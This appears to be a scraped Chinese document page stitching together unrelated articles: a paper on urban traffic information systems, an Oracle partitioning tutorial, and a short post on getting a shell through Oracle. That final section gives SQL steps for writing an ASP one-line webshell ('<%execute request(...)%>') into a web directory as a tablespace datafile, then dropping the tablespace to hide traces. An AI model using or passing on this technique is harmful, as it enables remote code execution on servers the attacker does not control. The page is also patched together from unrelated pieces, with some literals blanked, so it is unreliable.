近年来,信息技术得到了较快发展,在中国的个别城市,实现了部分开发的城市地图网上地理信息系统,如成都市,但是,目前在国内的各大中城市,综合运用信息网络技术建设相对完善的城市交通信息系统还没有一例。近来,在部分城市的交通管理规划中对交通信息系统有所涉及。如果把城市比作人体,那么,交通信息系统就象一双明亮的眼睛。在高度发达的信息社会,人类虽然有很多获取信息的途径,但是,若有一个完善的系统,能够让人们轻松地获取更多、更方便、更有价值的信息将是非常重要的。作为居民,不管在哪里,他都知道用最短的时间,走最近的路,办最快捷的.事;作为一个交通管理者或物流业者,不管在何时,他都能耳聪目明,有的放矢,这一切都势必会对交通产生积极的影响,如缓解城市交通压力、减少环境污染、降低交通事故发生率、节约能源等。因此,研究与实施城市交通信息系统具有重要的理论价值和现实意义。

2.国外交通信息系统研究现状

许多发达国家近年来投入了大量的人力、物力和财力对先进的交通信息系统进行研究、试验和开发。下面就欧洲、美国及日本等一些国家有代表性的ATIS作一简要介绍。

2.1 欧洲的代表性系统

欧洲的代表性系统有:SOCRATES、EURO SCOUT、Trafficmaster。

SOCRATES是一种有效发挥传统的蜂窝无线电话的基础设施(地面站)的作用,使交通指挥中心与行驶中车辆进行双向通信的系统,它的下行线路可通过“广播方式”向行驶在各种地面站的网络内的装有SOCRATES车载装置的车辆提供道路交通状况的详细数字信息。上行线路利用多频存取协议经过基地台向交通指挥中心发送信息。

EURO SCOUT是以红外线信标为媒体的动态路线引导系统。车辆和信标间的红外线通信是双向进行的,汽车就变为一个探头,将旅行时间、排队等候时间及OD信息等交通信息数据传输给中央引导计算机。

Trafficmaster是以伦敦为中心的广范围高速公路使用的系统,采用传呼机网络提供交通信息。收集高速公路交通状况数据的传感器向前后方向发出2条红外线光束,并根据各光速在车上的反射波时间差检测车辆的速度。

2.2 美国的代表性系统

美国的代表性系统有:TRAVTEK、ADVANCE、FASTTRAC。

TRAVTEK以实时路线引导和服务信息系统实用化为目的,由交通管理中心、信息与服务中心、装有导航装置的车辆组成。交通管理中心进行道路交通信息的收集、管理及提供,同时还进行系统运行所必需的信息管理和提供;信息服务中心收集观光设施、旅馆、饭店等为对象的各种服务信息;车载导航装置由车辆位置测定、路线选择及接口3种功能构成,可显示交通堵塞地段、事故及施工等信息的奥兰多地区的地图、按驾驶员需要进行的路线引导及提供服务的文字信息等。

ADVANCE通过电波的双向通信直接将车载导航装置和交通管制中心连通,导航装置由接触式屏幕、显示器及导航计算机构成。一输入最终目的地便可利用最新交通信息计算最佳路线。路线引导是采用声音合成及用显示器上的符号指示的形式。

FASTTRAC是把先进交通管理系统(ATMS)和先进交通信息系统(ATIS)技术组合在一起的ITS项目,它计划进行使实验车辆与信息控制方式统一的试验,亦即根据车辆测量的等候时间等使信号控制和绿色信号实现最佳化。

2.3 日本的代表性系统

日本的代表性系统有VICS和ATIS。

VICS中心通过日本道路交通通信中心汇总交通管理者和道路管理者双方的交通信息。由VICS提供的信息有:交通堵塞信息、所需时间信息、交通障碍信息、交通管制信息和停车场信息5种。

ATIS是先进的交通信息服务系统,它的通信媒体是电话线路(无线、有线)。交通信息利用者通过车上装载的导航装置或自己家及办公室的微机,可按需要接收多媒体的地图信息和文字信息。

3.交通信息系统结构方案

信息系统的本质是通过高新技术的有效应用,使得对各种决策(包括交通战略决策、交通管理决策、交通方式及交通路线选择决策等)起到支持作用的信息和知识在系统中有效流通,提高决策的科学性,引导合理的交通行为,达到最大限度地发挥已有交通设施潜力的目的。

为了实现智能化控制交通的要求,收集相关的实时可靠的交通信息是交通信息系统的前提和基础,然后根据不同

交通管理与控制的目的和要求,进一步分析、传递、提供信息。信息流程见图1。

图1 信息流程图

出行者所关注的信息大致包括3个方面:对“出发前”移动计划有效的信息、对“驾驶中”在道路上移动过程中有益的信息以及对“换乘”火车、客车、民航或轮船等提供乘车方便的信息。

依据出行者的信息需求以及交通管理者和物流业者在经营管理方面的需求,结合中国在行政管理方面的实际情况,确定了交通信息系统结构见图2。

城市交通信息系统包括一个中心即交通信息中心,交通管理、电子收费、交通诱导、交通信息服务、地理信息、紧急救援、营运车辆管理、车辆安全辅助驾驶八个子系统以及道路交通管理和车辆管理两个数据库。交通信息系统各子系统功能结构见图3。

篇7:城市交通信息系统结构方案研究

图3 交通信息系统各子系统功能结构

交通管理子系统主要由交通指挥中心提供通过采集的路段、交叉口、高架交通以及城市出入口的基础数据组织而成的信息。营运车辆管理子系统包括公交和物流管理,公交管理涵盖出租车和公交车辆的管理,物流管理包含货运和租赁车管理。紧急救援子系统包括一般性的事故报警以及特殊情况的灾害救助。诱导系统含有路径诱导和停车诱导。部分子系统采集的信息将提供给整个系统共享,通过提供历史数据和实时可供预测的信息,用以支持出行决策的制定,系统实时地通过网络查询对公众发布交通信息,向各种媒体发布诱导信息。

系统的结构为分布与集中相结合,各子系统分布相对平等,交通信息中心拥有信息整合的共用信息平台。各子系统完成数据采集、局部运行管理、共享信息整合等项任务。

城市交通信息系统的建设可分阶段进行,条件相对成熟的部门可优先发展,建成示范工程,推动其它部门发展。同时,交通信息系统的实用化进程需要各子系统所涉及的各个部门之间通力合作,实现系统的优化建设与运行。系统设计不但要重视系统核心的研究开发,而且要重视与各子系统之间的相互衔接关系,资源共享是交通信息系统的命脉。人类的生活离不开交通,在以人为本的交通规划、管理与设计中,综合运用现代信息与通讯技术等手段提高交通运输的效率是必由之路。交通信息系统在确定了基本结构之后,需要通过进一步的系统设计后,加以实施。

4.交通信息系统的主要媒体和特点

城市交通信息系统中可传递信息的媒体主要特点见表1。

表1 交通信息系统利用的主要媒体和特点

5.结论

城市交通信息系统必将在今后真正的高度信息通信社会中占有一席之地,交通信息系统也必将在实现高效舒适的交通社会中发挥重要作用。城市交通信息系统未来的实施,必将在居民出行、事故和灾害救援以及货物流通等方面带来更大的便利,同时,在交通管理方面更加有的放矢、标本兼治,在减少交通出行、降低交通量、减少阻塞、减轻污染、提高服务水平等增加社会和经济效益方面也将起到巨大的作用。

参考文献:

1.黄卫,陈里德.智能运输系统(ITS)概论.北京:人民交通出版社,

2.[日]社团法人 交通工学研究会.智能交通系统. 北京:人民交通出版社,

3.史其信.21世纪智能交通系统(ITS)展望.哈尔滨:交通工程通讯,

4.ITS通讯.交通信息服务系统.北京:清华大学交通研究所,2000

5.William A.Perez,Gary A.Golembiewski,Deborah Dennard.Professed Willingness to Pay

for Travtek Features.IEEE-IEE Vehicle Navigation & Information Systems Conference.1993

6.Jan Hellaker, AB Volvo,Christer Palmgren,Seppo Turunen.Real-time Traveller Information in everyone¢s pocket?!a pilot test using hand-portable GSM terminals. IEEE-IEE Vehicle Navigation & Information Systems Conference.1993

7.Suvrajeet Sen,Rekha Pillai,Shirish Joshi,Ajay K.Rathi.A Mean-Variance Model for Route Guidance in Advanceed Traveler Information Systems.

Transportation Science.2001,35(1)

8.Hani S.Mahmassani,Yu-Hsin Liu. Dynamics of commuting decision behaviour under advanced traveler information

systems. Transportation Research Part C. 1999,7C(7)

Urban Traffic Information System Architecture Project Research

Yulong PEI Yu ZHANG

(College of Transportation Science and Engineering ,Harbin Institute of Technology ,Harbin,150090)

Abstract:A

dvanced Travellers Information System (ATIS) is an important component of Intelligent

Transportation Systems (ITS) .The research content mentioned in this paper is the

architecture project of ATIS in China. This paper analyzes the state of domestic

development of ATIS and summarizes international results in this field. Based on the

summary, this paper proposes the urban traffic information system architecture

project (UTISAP) suitable for the administerial management situation of China. The

UTISAP includes a traffic information center, eight subsystems and two databases. Eight

subsystems&nb sp;comprise traffic management, ETC, TFGS, traffic information service,

GIS, EMS, CVOS and AHS. Two databases comprise the aspects of road traffic

management and vehicles management. And the traffic information center is the core.

Finally, the paper forecasts the positive impact after the application of UTISAP.

Keywords:ITS; urban;ATIS;architecture project

篇8:Oracle分区之四:分区维护和管理

一,分区表的相关实验

创建一个列表分区表

create table t3(id number,city varchar2(10))

partition by list(city)

(

partition p1 values ('SH','JS','ZJ') ,

partition p2 values ('BJ','TJ','HB') ,

partition p3 values ('GZ','SZ') ,

partition p_others values (default)

);

create or replace procedure proc1

as

begin

for i in 1..1000

loop

execute immediate

'INSERT INTO T3 values(:x,:y)' USING i,'SH';

end loop;

end;

/

exec proc1

create or replace procedure proc1

as

begin

for i in 1001..2000

loop

execute immediate

'INSERT INTO T3 values(:x,:y)' USING i,'JS';

end loop;

end;

/

exec proc1

create or replace procedure proc1

as

begin

for i in 2001..3000

loop

execute immediate

'INSERT INTO T3 values(:x,:y)' USING i,'ZJ';

end loop;

end;

/

exec proc1

create or replace procedure proc1

as

begin

for i in 3001..4000

loop

execute immediate

'INSERT INTO T3 values(:x,:y)' USING i,'BJ';

end loop;

end;

/

exec proc1

create or replace procedure proc1

as

begin

for i in 4001..5000

loop

execute immediate

'INSERT INTO T3 values(:x,:y)' USING i,'TJ';

end loop;

end;

/

exec proc1

create or replace procedure proc1

as

begin

for i in 5001..6000

loop

execute immediate

'INSERT INTO T3 values(:x,:y)' USING i,'GZ';

end loop;

end;

/

exec proc1

create or replace procedure proc1

as

begin

for i in 6001..7000

loop

execute immediate

'INSERT INTO T3 values(:x,:y)' USING i,'HB';

end loop;

end;

/

exec proc1

create or replace procedure proc1

as

begin

for i in 7001..8000

loop

execute immediate

'INSERT INTO T3 values(:x,:y)' USING i,'SZ';

end loop;

end;

/

exec proc1

create or replace procedure proc1

as

begin

for i in 8001..10000

loop

execute immediate

'INSERT INTO T3 values(:x,:y)' USING i,'AH';

end loop;

end;

/

exec proc1

SQL>SET linesize 200

SQL>select TABLE_NAME, TABLE_OWNER, PARTITION_NAME, SUBPARTITION_COUNT from dba_tab_partitions where table_name='T3';

TABLE_NAME TABLE_OWNER PARTITION_NAME SUBPARTITION_COUNT

------------------------------ ------------------------------ ------------------------------ ------------------

T3 HR P1 0

T3 HR P2 0

T3 HR P3 0

T3 HR P_OTHERS 0

实验一(SPLIT 分区)

alter table t3 split partition p1 values ('JS') into

(partition p1_1,partition p1_2);

SQL>select TABLE_NAME, TABLE_OWNER, PARTITION_NAME, SUBPARTITION_COUNT from dba_tab_partitions where table_name='T3';

TABLE_NAME TABLE_OWNER PARTITION_NAME SUBPARTITION_COUNT

------------------------------ ------------------------------ ------------------------------ ------------------

T3 HR P1_1 0

T3 HR P1_2 0

T3 HR P2 0

T3 HR P3 0

T3 HR P_OTHERS 0

实验二(merge 分区)

alter table t3 merge partitions p1_1,p1_2 into partition p1;

SQL>select TABLE_NAME, TABLE_OWNER, PARTITION_NAME, SUBPARTITION_COUNT from dba_tab_partitions where table_name='T3';

TABLE_NAME TABLE_OWNER PARTITION_NAME SUBPARTITION_COUNT

------------------------------ ------------------------------ ------------------------------ ------------------

T3 HR P1 0

T3 HR P2 0

T3 HR P3 0

T3 HR P_OTHERS 0

实验三、

alter table t3 split partition p2 values ('BJ','TJ') into

(partition p2_1,partition p2_2);

SQL>select TABLE_NAME, TABLE_OWNER, PARTITION_NAME, SUBPARTITION_COUNT from dba_tab_partitions where table_name='T3';

TABLE_NAME TABLE_OWNER PARTITION_NAME SUBPARTITION_COUNT

------------------------------ ------------------------------ ------------------------------ ------------------

T3 HR P1 0

T3 HR P2_1 0

T3 HR P2_2 0

T3 HR P3 0

T3 HR P_OTHERS 0

实验四、

alter table t3 merge partitions p2_1,p2_2 into partition p2;

SQL>select TABLE_NAME, TABLE_OWNER, PARTITION_NAME, SUBPARTITION_COUNT from dba_tab_partitions where table_name='T3';

TABLE_NAME TABLE_OWNER PARTITION_NAME SUBPARTITION_COUNT

------------------------------ ------------------------------ ------------------------------ ------------------

T3 HR P1 0

T3 HR P2 0

T3 HR P3 0

T3 HR P_OTHERS 0

实验五( 向分区某个分区里增加个分区列值)

SQL>alter table t3 modify partition p3 add values('ZQ');

Table altered.

二,分区索引的相关实验

实验六(创建索引分区)

create index idx_t3 on t3(id)

global partition by range(id)

(

partition p1 values less than (1000),

partition p2 values less than (maxvalue)

);

drop index idx_3

create index idx_t3 on t3(id)

global partition by hash(id)

partitions 4;

create table tt2(id number,createdate date)

partition by range(createdate)

subpartition by hash(id) subpartitions 2

(

partition p1 values less than (to_date('-07-01','yyyy-mm-dd')),

partition p2 values less than (to_date('-01-01','yyyy-mm-dd'))

);

create table tt4(id number,name varchar2(10))

partition by range(name)

(

partition p1 values less than ('h'),

partition p2 values less than ('o')

);

create index idx_tt4 on tt4(id) local;

drop indexe idx_tt4 ;

create index idx_tt4 on tt4(id)

global partition by range(id)

(

partition p1 values less than (1000),

partition p2 values less than (maxvalue)

);

SQL>SET LINESIZE 200

SQL>select INDEX_OWNER, INDEX_NAME,PARTITION_NAME FROM dba_Ind_Partitions where index_name='IDX_TT4';

INDEX_OWNER INDEX_NAME PARTITION_NAME

------------------------------ ------------------------------ ------------------------------

HR IDX_TT4 P1

HR IDX_TT4 P2

alter index idx_tt4 split partition p2 at (2000) into

(partition p3,partition p_max);

SQL>select INDEX_OWNER, INDEX_NAME,PARTITION_NAME FROM dba_Ind_Partitions where index_name='IDX_TT4';

INDEX_OWNER INDEX_NAME PARTITION_NAME

------------------------------ ------------------------------ ------------------------------

HR IDX_TT4 P1

HR IDX_TT4 P3

HR IDX_TT4 P_MAX

三,分区表交换的相关实验

Exchange partition提供了一种方式,让你在表与表或分区与分区之间迁移数据,注意不是将表转换成分区或非分区的形式,而仅只是迁移表中数据(互相迁移),

由于其号称是采用了更改数据字典的方式,因此效率最高(几乎不涉及io操作),

Oracle分区之四:分区维护和管理

Exchange partition适用于所有分区格式,你可以将数据从分区表迁移到非分区表,

也可以从非分区表迁移至分区表,或者从hash partition到range partition诸如此类。

其语法:alter table tbname1 exchange partition/subpartition ptname with table tbname2;

注意:在将未分区表的数据迁移到分区表中时,可能出现ora-14099的错误,虽然可以用without validation去解决,但是此时进入分区表的数据可能不符合分区规

则。所以without validation一定要慎用。

a,涉及交换的两表之间表结构必须一致,除非附加with validation子句;

b,如果是从非分区表向分区表做交换,非分区表中的数据必须符合分区表中指定分区的规则,除非附加without validation子句;

c,如果从分区表向分区表做交换,被交换的分区的数据必须符合分区规则,除非附加without validation子句;

d,Global索引或涉及到数据改动了的global索引分区会被置为unusable,除非附加update indexes子句。

注意:

一旦附加了without validation子句,则表示不再验证数据有效性,因此指定该子句时务必慎重。

创建一个交换分区的普通heap表

SQL>create table exchange_t3(id number,city varchar2(10));

Table created.

SQL>select distinct city from t3 partition (p2);

CITY

----------

TJ

BJ

HB

查看下P2分区有records

SQL>select count(*) from t3 partition (p2);

COUNT(*)

----------

3000

下面是分区表和普通HEAP表交换

alter table t3

exchange partition p2

with table exchange_t3

including indexes

without validation;

验证下数据,和上面的P2分区数据一致。

SQL>select count(*) from exchange_t3;

COUNT(*)

----------

3000

SQL>select distinct city from exchange_t3;

CITY

----------

TJ

BJ

HB

四,一个实际应用的例子的相关实验

创建一个分区表,只保留最近2年的财务数据。

create table ware(wareyear varchar2(4),id number)

partition by range (wareyear)

(

partition p_ values less than(''),

partition p_2006 values less than(''),

partition p_max values less than(maxvalue)

);

创建索引

create index idx_ware_id on ware(id)

global partition by range(id)

(

partition p_id_10000 values less than(10000),

partition p_id_max values less than(maxvalue)

);

create index idx_ware_wareyear on ware(wareyear) local;

插入测试数据

insert into ware select '2005',object_id from dba_objects;

insert into ware select '2006',object_id from dba_objects;

commit;

年终,归档最早的数据,并加入新财年的数据

create table ware_2007(wareyear varchar2(4),id number);

create index idx_ware_2007 on ware_2007(wareyear);

insert into ware_2007 select '2007',object_id from dba_objects;

commit;

alter table ware split partition p_max

at ('') into (partition p_2007, partition p_max);

将p_2007分区放入ware_2007表里

alter table ware exchange partition p_2007

with table ware_2007

including indexes

without validation;

create table ware_2005(wareyear varchar2(4),id number);

create index idx_ware_2005 on ware_2005(wareyear);

alter table ware exchange partition p_2005

with table ware_2005

including indexes

without validation;

删除p_2005分区

alter table ware drop partition p_2005;

导出做归档

[oracle@even admin]$ exp hr/hr@test file=/home/oracle/ware_2005.dmp tables=ware_2005 compress=n

Export: Release 10.2.0.1.0 - Production on Fri Jan 18 05:10:42

Copyright (c) 1982, 2005, Oracle. All rights reserved.

Connected to: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Production

With the Partitioning, Oracle Label Security, OLAP and Data Mining options

Export done in US7ASCII character set and AL16UTF16 NCHAR character set

server uses AL32UTF8 character set (possible charset conversion)

About to export specified tables via Conventional Path ...

. . exporting table WARE_2005 50439 rows exported

Export terminated successfully without warnings.

然后删除表

drop table ware_2005;

五,表和索引的维护的常见SQL语句及注意事项

对于分区索引,不能整体进行重建,只能对单个分区进行重建(也就是物理存在的分区)。语法如下:

Alter index idx_name rebuild partition index_partition_name [online nologging]

Alter Index IndexName Rebuild Partition P_Name;

有子分区的本地索引,不能重建某分区,只能对每个子分区进行重建

Alter Index Index_Name Rebuild subPartition P_Sub_Name;

脚本,重建所有unUsable的索引

Select 'alter index ' || Index_Name ||' rebuild;' From User_Indexes Where Status ='UNUSABLE' union

Select 'alter index ' || Index_Name ||' rebuild Partition '||Partition_Name ||';' From User_Ind_Partitions Where Status ='UNUSABLE' union

Select 'alter index ' || Index_Name ||' rebuild subPartition '||subPartition_Name ||';' From User_Ind_subPartitions Where Status ='UNUSABLE';

add parttion

Alter Table TestTab1 Add Partition P1 Values Less Than (0801);

1, 如果有子分区,且定义了子分区模板,所有的子分区会自动添加

2, 新加分区后,该区没有统计信息,全是空,如果表级不是global_satus,则表级的统计信息也会空

3, 新加分区后,如果表级统计是global_satus,还会出现out of range的问题(CBO估算的选择率很低)

4, 解决2,3问题的方法是:copy_table_stats

exec dbms_stats.copy_table_stats(user, tabname =>'TEST_TAB1', srcpartname =>'P_20120801', dstpartname =>'P_20100208');

tuncate and drop partition

truncate和drop可对有子分区的分区进行

ALTER TABLE TEST truncate Partition P_20120801;

ALTER TABLE TEST Drop Partition P_20120801;

它们会导致globl index的某些分区不可用,必须这样做

ALTER TABLE TEST truncate Partition P_20120801 update indexes;

ALTER TABLE TEST truncate Partition P_20120801update global indexes;

ALTER TABLE TEST Drop Partition P_20120801 update indexes;

ALTER TABLE TEST Drop Partition P_20120801 update global indexes;

move partition

有子分区的分区不能move,只能move每个子分区(也就是物理分区)

Alter Table TEST Move Partition P_20120801;

由于rowid变了,会导致所有相关索引unusable,必须这样做

Alter Table TEST Move subPartition P_20100730_P1 update indexes;

Alter Table TEST Move subPartition P_20100730_P2 update global indexes; --Local Index没有更新

split partion

语法:

alter table

split partition

at ()

into (partition

, partition

)

[update [global] indexes];

1 可以对有子分区的分区进行,自动split子分区

2 由于rowid变了,新分区和global index都变为unusable

alter table t3 merge partitions p2_1,p2_2 into partition p2;

合并range分区

ALTER TABLE Test_Tab1

Merge Partitions P_20100715, P_20100731 Into Partition P_20100730

[Update [global] Indexes];

1. 该分区有子分区

2. 有子分区,也可以单独合并子分区merge subpartition

可以通过下面的视图获取分区的信息

dba_segments

dba_part_key_columns

dba_tables

dba_tab_partitions

dba_indexes

dba_ind_partitions

篇9:[Followme系列]之oracle得Shell

清雅风萍 天阳bbs.tian6.com首发

SQL>create tablespace kjtest datafile 'e:\website\kj.asp'

size 100k nologging ;

复制代码

这样就创建了Table 空间,

这里需要注意的是oracle的Table,最小单位是100K。

下面开始建表:

SQL>CREATE TABLE WEBSHELL(C varchar2(100)) tablespace tian6;

复制代码

这样表就建好了。

表的类型一般都是VARCHAR,因为table的空间很小,所以不能用CLOB 或者 BLOB

类型,

SQL>insert into WEBSHELL values('<%execute request(“tian6”)%>');

复制代码

写数据了。

SQL>commit;

复制代码

提交完毕。

提交完毕后会提示 OK? NO? 你要是点NO的话。。。

因为这个时候你的这些编辑都是属于离线编辑,需要同步后才能生效,所以还是点OK吧,你说呢?

SQL>alter tablespace tian6 offline;

复制代码

OK,到这一步为止你已经写进了WEBSHELL。

别忘记擦PP

SQL>drop tablespace tian6 including contents;

复制代码

以上的所有步骤必须建立在你知道网页路径的前提下哦 :)

软件开题报告

erp计划书

Oracle体系结构2

数据库工程师的工作职责

实施项目经理工作的具体职责范本

PeopleSoft瞄准中国银行业CRM软件市场

web前端开发实训总结

java培训实习报告

java毕业实习报告

首席技术专家竞聘稿

客户信息系统之Oracle方案
《客户信息系统之Oracle方案.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【客户信息系统之Oracle方案(精选9篇)】相关文章:

暑期关于学习java实习报告2023-01-16

java的实习报告2023-07-31

销售简历项目经验范文2023-10-01

软件技术实习报告2023-08-04

企业采购员试用期总结2022-11-11

ui简历项目经验怎么写合理2023-04-11

校园管理系统毕业论文2022-05-07

CRM的选型参考案例2024-03-05

BtoB电子商务的三种解决方案2022-06-24

java简历表格2022-09-18

点击下载本文文档